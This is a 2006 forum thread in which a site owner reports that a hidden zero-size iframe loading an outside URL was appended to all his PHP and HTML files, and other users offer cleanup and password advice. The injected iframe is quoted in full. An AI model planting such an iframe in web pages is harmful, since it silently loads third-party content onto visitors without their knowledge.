Forum and server hacked

StanJ · May 11, 2006, 10:01:11 AM

Well, everyone of my .php and html files have this on the bottom, for all my forums...

Quote<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=soauker marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>

removing them..... not as much fun as it may first sound..
Is there a program that could delete that from every file on the server?

Do not know how these gems got access.

Harzem · May 11, 2006, 10:08:45 AM

First of all, change all your passwords, including FTP, database, server passwords.

You can mass "find and replace" by using Dreamweaver. I don't know any other program that can mass change, but I've heard that Linux has this as a standard.

Use the error logs of your hosting control panel to see how they got access.

Kindred · May 11, 2006, 10:31:25 AM

if you download your site to your local drive, you can do a file contents-find&replace with UltraEdit.

StanJ · May 11, 2006, 10:36:39 AM

There are several gigs on the server.... thinking now it may be best two go to a 3 day old back up...

We are sure they did not use my password, but may have got in on my ubbthreads forum...

SergeantAsh · May 14, 2006, 09:10:27 AM

Any idea how it happened? This is a major worry!! Are you sure it wasn't put on there using the Ad Mod or something similar? Can't imagine they managed to break into your FTP?

Rudolf · May 14, 2006, 10:11:09 AM

Another nifty program is the freeware PSPad. It's ultra fast at replacing text in whole directory structures.

Grudge · May 14, 2006, 10:46:38 AM

Maybe related to:
http://www.simplemachines.org/community/index.php?topic=83110.msg554625#msg554625

News:

Forum and server hacked

StanJ

Harzem

Kindred

StanJ

SergeantAsh

Rudolf

Grudge